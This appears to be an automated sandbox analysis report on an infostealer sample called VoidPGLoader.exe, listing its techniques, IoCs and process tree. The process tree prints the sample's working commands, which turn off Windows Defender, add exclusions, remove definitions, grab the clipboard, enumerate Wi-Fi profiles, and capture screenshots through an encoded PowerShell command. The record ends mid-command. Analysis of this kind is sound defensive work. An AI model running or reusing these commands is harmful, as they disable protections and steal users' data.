0737862a103c805e8e36d1ad8a4a39eb39cb38d3932992ca9713370fc2a2bd25

Analysis

max time kernel
94s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 20:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

VoidPGLoader.exe
Size

8.5MB
MD5

93de6058c879dcbc4f2aea590070bba2
SHA1

9f95fca5efc663bccc520fb9697d99dc3a14982f
SHA256

0737862a103c805e8e36d1ad8a4a39eb39cb38d3932992ca9713370fc2a2bd25
SHA512

834192f84c6a4828cab9b0df3a113945459ebaa94cc4da226184cd66f1f9abcba0b3b47e784fda6db5201b075cba159f22244235fada4271a0674e1caf493265
SSDEEP

196608:jAQPwVXiPurErvI9pWjgN3ZdahF0pbH1A5/i7WtQsNo/03vC1K:cVXiPurEUWjqeWxY6rYYK

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2380 powershell.exe
3584 powershell.exe
2148 powershell.exe
1384 powershell.exe
3852 powershell.exe
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

536 cmd.exe
2984 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

3948 rar.exe

pid	process
2380	powershell.exe
3584	powershell.exe
2148	powershell.exe
1384	powershell.exe
3852	powershell.exe

pid	process
536	cmd.exe
2984	powershell.exe

pid	process
3948	rar.exe

Loads dropped DLL 18 IoCs

Processes:

VoidPGLoader.exe

pid	process
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe
4920	VoidPGLoader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

21 discord.com
22 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates processes with tasklist 1 TTPs 3 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

4204 tasklist.exe
640 tasklist.exe
4396 tasklist.exe

flow	ioc
21	discord.com
22	discord.com

flow	ioc
19	ip-api.com

pid	process
4204	tasklist.exe
640	tasklist.exe
4396	tasklist.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI30602\python312.dll	upx
behavioral2/memory/4920-66-0x00007FFE723B0000-0x00007FFE72A74000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\libffi-8.dll	upx
behavioral2/memory/4920-73-0x00007FFE8AF80000-0x00007FFE8AF8F000-memory.dmp	upx
behavioral2/memory/4920-70-0x00007FFE81900000-0x00007FFE81925000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI30602\libcrypto-3.dll	upx
behavioral2/memory/4920-131-0x00007FFE80BC0000-0x00007FFE80BED000-memory.dmp	upx
behavioral2/memory/4920-132-0x00007FFE80BA0000-0x00007FFE80BBA000-memory.dmp	upx
behavioral2/memory/4920-133-0x00007FFE80A80000-0x00007FFE80AA4000-memory.dmp	upx
behavioral2/memory/4920-134-0x00007FFE72040000-0x00007FFE721BF000-memory.dmp	upx
behavioral2/memory/4920-135-0x00007FFE80A60000-0x00007FFE80A79000-memory.dmp	upx
behavioral2/memory/4920-136-0x00007FFE81320000-0x00007FFE8132D000-memory.dmp	upx
behavioral2/memory/4920-137-0x00007FFE807D0000-0x00007FFE80803000-memory.dmp	upx
behavioral2/memory/4920-138-0x00007FFE723B0000-0x00007FFE72A74000-memory.dmp	upx
behavioral2/memory/4920-139-0x00007FFE71F70000-0x00007FFE7203D000-memory.dmp	upx
behavioral2/memory/4920-142-0x00007FFE81900000-0x00007FFE81925000-memory.dmp	upx
behavioral2/memory/4920-141-0x00007FFE71A40000-0x00007FFE71F69000-memory.dmp	upx
behavioral2/memory/4920-144-0x00007FFE86560000-0x00007FFE86574000-memory.dmp	upx
behavioral2/memory/4920-145-0x00007FFE80DD0000-0x00007FFE80DDD000-memory.dmp	upx
behavioral2/memory/4920-143-0x00007FFE8AF80000-0x00007FFE8AF8F000-memory.dmp	upx
behavioral2/memory/4920-150-0x00007FFE71360000-0x00007FFE7147B000-memory.dmp	upx
behavioral2/memory/4920-149-0x00007FFE80A80000-0x00007FFE80AA4000-memory.dmp	upx
behavioral2/memory/4920-282-0x00007FFE72040000-0x00007FFE721BF000-memory.dmp	upx
behavioral2/memory/4920-338-0x00007FFE80A60000-0x00007FFE80A79000-memory.dmp	upx
behavioral2/memory/4920-353-0x00007FFE807D0000-0x00007FFE80803000-memory.dmp	upx
behavioral2/memory/4920-365-0x00007FFE71F70000-0x00007FFE7203D000-memory.dmp	upx
behavioral2/memory/4920-377-0x00007FFE71A40000-0x00007FFE71F69000-memory.dmp	upx
behavioral2/memory/4920-384-0x00007FFE72040000-0x00007FFE721BF000-memory.dmp	upx
behavioral2/memory/4920-392-0x00007FFE71360000-0x00007FFE7147B000-memory.dmp	upx
behavioral2/memory/4920-379-0x00007FFE81900000-0x00007FFE81925000-memory.dmp	upx
behavioral2/memory/4920-378-0x00007FFE723B0000-0x00007FFE72A74000-memory.dmp	upx
behavioral2/memory/4920-393-0x00007FFE723B0000-0x00007FFE72A74000-memory.dmp	upx
behavioral2/memory/4920-410-0x00007FFE8AF80000-0x00007FFE8AF8F000-memory.dmp	upx
behavioral2/memory/4920-418-0x00007FFE71F70000-0x00007FFE7203D000-memory.dmp	upx
behavioral2/memory/4920-417-0x00007FFE807D0000-0x00007FFE80803000-memory.dmp	upx
behavioral2/memory/4920-416-0x00007FFE81320000-0x00007FFE8132D000-memory.dmp	upx
behavioral2/memory/4920-415-0x00007FFE80A60000-0x00007FFE80A79000-memory.dmp	upx
behavioral2/memory/4920-414-0x00007FFE72040000-0x00007FFE721BF000-memory.dmp	upx
behavioral2/memory/4920-413-0x00007FFE80A80000-0x00007FFE80AA4000-memory.dmp	upx
behavioral2/memory/4920-412-0x00007FFE80BA0000-0x00007FFE80BBA000-memory.dmp	upx
behavioral2/memory/4920-411-0x00007FFE80BC0000-0x00007FFE80BED000-memory.dmp	upx
behavioral2/memory/4920-409-0x00007FFE81900000-0x00007FFE81925000-memory.dmp	upx
behavioral2/memory/4920-408-0x00007FFE71A40000-0x00007FFE71F69000-memory.dmp	upx
behavioral2/memory/4920-407-0x00007FFE71360000-0x00007FFE7147B000-memory.dmp	upx
behavioral2/memory/4920-406-0x00007FFE80DD0000-0x00007FFE80DDD000-memory.dmp	upx
behavioral2/memory/4920-405-0x00007FFE86560000-0x00007FFE86574000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.execmd.exe

pid process

1700 netsh.exe
4536 cmd.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2428 WMIC.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

1208 systeminfo.exe

pid	process
1700	netsh.exe
4536	cmd.exe

pid	process
2428	WMIC.exe

pid	process
1208	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1384	powershell.exe
2380	powershell.exe
3584	powershell.exe
2380	powershell.exe
2380	powershell.exe
1384	powershell.exe
1384	powershell.exe
3584	powershell.exe
3584	powershell.exe
2984	powershell.exe
2984	powershell.exe
2984	powershell.exe
3528	powershell.exe
3528	powershell.exe
3528	powershell.exe
3852	powershell.exe
3852	powershell.exe
4360	powershell.exe
4360	powershell.exe
2148	powershell.exe
2148	powershell.exe
4868	powershell.exe
4868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exetasklist.exetasklist.exeWMIC.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	4204	tasklist.exe
Token: SeDebugPrivilege	640	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5036	WMIC.exe
Token: SeSecurityPrivilege	5036	WMIC.exe
Token: SeTakeOwnershipPrivilege	5036	WMIC.exe
Token: SeLoadDriverPrivilege	5036	WMIC.exe
Token: SeSystemProfilePrivilege	5036	WMIC.exe
Token: SeSystemtimePrivilege	5036	WMIC.exe
Token: SeProfSingleProcessPrivilege	5036	WMIC.exe
Token: SeIncBasePriorityPrivilege	5036	WMIC.exe
Token: SeCreatePagefilePrivilege	5036	WMIC.exe
Token: SeBackupPrivilege	5036	WMIC.exe
Token: SeRestorePrivilege	5036	WMIC.exe
Token: SeShutdownPrivilege	5036	WMIC.exe
Token: SeDebugPrivilege	5036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5036	WMIC.exe
Token: SeRemoteShutdownPrivilege	5036	WMIC.exe
Token: SeUndockPrivilege	5036	WMIC.exe
Token: SeManageVolumePrivilege	5036	WMIC.exe
Token: 33	5036	WMIC.exe
Token: 34	5036	WMIC.exe
Token: 35	5036	WMIC.exe
Token: 36	5036	WMIC.exe
Token: SeDebugPrivilege	4396	tasklist.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	5036	WMIC.exe
Token: SeSecurityPrivilege	5036	WMIC.exe
Token: SeTakeOwnershipPrivilege	5036	WMIC.exe
Token: SeLoadDriverPrivilege	5036	WMIC.exe
Token: SeSystemProfilePrivilege	5036	WMIC.exe
Token: SeSystemtimePrivilege	5036	WMIC.exe
Token: SeProfSingleProcessPrivilege	5036	WMIC.exe
Token: SeIncBasePriorityPrivilege	5036	WMIC.exe
Token: SeCreatePagefilePrivilege	5036	WMIC.exe
Token: SeBackupPrivilege	5036	WMIC.exe
Token: SeRestorePrivilege	5036	WMIC.exe
Token: SeShutdownPrivilege	5036	WMIC.exe
Token: SeDebugPrivilege	5036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5036	WMIC.exe
Token: SeRemoteShutdownPrivilege	5036	WMIC.exe
Token: SeUndockPrivilege	5036	WMIC.exe
Token: SeManageVolumePrivilege	5036	WMIC.exe
Token: 33	5036	WMIC.exe
Token: 34	5036	WMIC.exe
Token: 35	5036	WMIC.exe
Token: 36	5036	WMIC.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeIncreaseQuotaPrivilege	4228	WMIC.exe
Token: SeSecurityPrivilege	4228	WMIC.exe
Token: SeTakeOwnershipPrivilege	4228	WMIC.exe
Token: SeLoadDriverPrivilege	4228	WMIC.exe
Token: SeSystemProfilePrivilege	4228	WMIC.exe
Token: SeSystemtimePrivilege	4228	WMIC.exe
Token: SeProfSingleProcessPrivilege	4228	WMIC.exe
Token: SeIncBasePriorityPrivilege	4228	WMIC.exe
Token: SeCreatePagefilePrivilege	4228	WMIC.exe
Token: SeBackupPrivilege	4228	WMIC.exe
Token: SeRestorePrivilege	4228	WMIC.exe
Token: SeShutdownPrivilege	4228	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

VoidPGLoader.exeVoidPGLoader.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3060 wrote to memory of 4920	3060	VoidPGLoader.exe	VoidPGLoader.exe
PID 3060 wrote to memory of 4920	3060	VoidPGLoader.exe	VoidPGLoader.exe
PID 4920 wrote to memory of 2412	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 2412	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4228	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4228	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1364	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1364	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 2376	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 2376	4920	VoidPGLoader.exe	cmd.exe
PID 2376 wrote to memory of 2380	2376	cmd.exe	powershell.exe
PID 2376 wrote to memory of 2380	2376	cmd.exe	powershell.exe
PID 2412 wrote to memory of 3584	2412	cmd.exe	powershell.exe
PID 2412 wrote to memory of 3584	2412	cmd.exe	powershell.exe
PID 4228 wrote to memory of 1384	4228	cmd.exe	powershell.exe
PID 4228 wrote to memory of 1384	4228	cmd.exe	powershell.exe
PID 1364 wrote to memory of 3192	1364	cmd.exe	mshta.exe
PID 1364 wrote to memory of 3192	1364	cmd.exe	mshta.exe
PID 4920 wrote to memory of 680	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 680	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1936	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1936	4920	VoidPGLoader.exe	cmd.exe
PID 680 wrote to memory of 4204	680	cmd.exe	tasklist.exe
PID 680 wrote to memory of 4204	680	cmd.exe	tasklist.exe
PID 1936 wrote to memory of 640	1936	cmd.exe	tasklist.exe
PID 1936 wrote to memory of 640	1936	cmd.exe	tasklist.exe
PID 4920 wrote to memory of 4916	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4916	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 536	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 536	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1748	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1748	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4876	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4876	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1292	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 1292	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4536	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4536	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 436	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 436	4920	VoidPGLoader.exe	cmd.exe
PID 536 wrote to memory of 2984	536	cmd.exe	powershell.exe
PID 536 wrote to memory of 2984	536	cmd.exe	powershell.exe
PID 4916 wrote to memory of 5036	4916	cmd.exe	WMIC.exe
PID 4916 wrote to memory of 5036	4916	cmd.exe	WMIC.exe
PID 4876 wrote to memory of 4396	4876	cmd.exe	tasklist.exe
PID 4876 wrote to memory of 4396	4876	cmd.exe	tasklist.exe
PID 4536 wrote to memory of 1700	4536	cmd.exe	netsh.exe
PID 4536 wrote to memory of 1700	4536	cmd.exe	netsh.exe
PID 1748 wrote to memory of 2404	1748	cmd.exe	tree.com
PID 1748 wrote to memory of 2404	1748	cmd.exe	tree.com
PID 1292 wrote to memory of 1208	1292	cmd.exe	systeminfo.exe
PID 1292 wrote to memory of 1208	1292	cmd.exe	systeminfo.exe
PID 436 wrote to memory of 3528	436	cmd.exe	powershell.exe
PID 436 wrote to memory of 3528	436	cmd.exe	powershell.exe
PID 4920 wrote to memory of 4820	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4820	4920	VoidPGLoader.exe	cmd.exe
PID 4820 wrote to memory of 4600	4820	cmd.exe	tree.com
PID 4820 wrote to memory of 4600	4820	cmd.exe	tree.com
PID 4920 wrote to memory of 4560	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 4560	4920	VoidPGLoader.exe	cmd.exe
PID 4560 wrote to memory of 228	4560	cmd.exe	tree.com
PID 4560 wrote to memory of 228	4560	cmd.exe	tree.com
PID 4920 wrote to memory of 2612	4920	VoidPGLoader.exe	cmd.exe
PID 4920 wrote to memory of 2612	4920	VoidPGLoader.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe
"C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe
  "C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\VoidPGLoader.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Keybind crash try old DLL', 0, 'Void PG', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1364
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Keybind crash try old DLL', 0, 'Void PG', 0+16);close()"
      4⤵
      PID:3192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‍ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‍ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:680
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACA